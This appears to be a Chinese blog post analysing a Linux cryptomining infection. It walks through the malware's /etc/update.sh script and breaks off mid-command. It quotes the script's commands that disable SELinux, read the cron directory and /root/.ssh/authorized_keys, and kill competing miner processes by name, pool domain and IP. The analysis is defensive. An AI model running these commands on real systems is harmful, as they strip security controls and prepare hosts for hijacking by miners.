序
这是第二次遇到该挖矿病毒,网上也有很多大佬对该病毒做过分析,也想过再写可能没有什么意义,最终还是想写一写属于自己的东西,也算是两次相遇的总结。
背景
这次废话不多说,直接上,背景感觉毫无意义。
分析
现象确认
首先确认现象,通过查看系统进程发现存在CPU占用过高的现象,如下图:
查看进程信息:
进程关联查看,发现该病毒启动时间是在2020.09.18 10:00:01。
update.sh脚本分析
通过对程序进行分析,发现该病毒程序同路径下存在update.sh文件(/etc/update.sh),通过对该文件进行分析,发现该文件为挖矿病毒执行的脚本文件,因此对该脚本文件进行分析。
定义系统变量
关闭selinux防火墙,隐藏输出的错误信息,如果有错误信息就输出到空设备2>/dev/null空设备:
setenforce 0 2>dev/null
关闭selinux:
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
把内容同步写入磁盘
sync && echo 3 >/proc/sys/vm/drop_caches
设置变量:
crondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`
查看ssh公钥信息
ssht=`cat /root/.ssh/authorized_keys` #ssht = cat /root/.ssh/authorized_keys
关闭相关病毒程序
使用ps auxf查看所有进程,并针对kinsiing进行查找,awk是tab分割,print $2是取出第二个单词,ps auxf查看进程中第二单词为PID(这里关闭的进程较多,只列举其中一些):
ps auxf|grep kinsing| awk '{print $2}'|xargs kill -9ps auxf|grep kdevtmpfsi| awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I %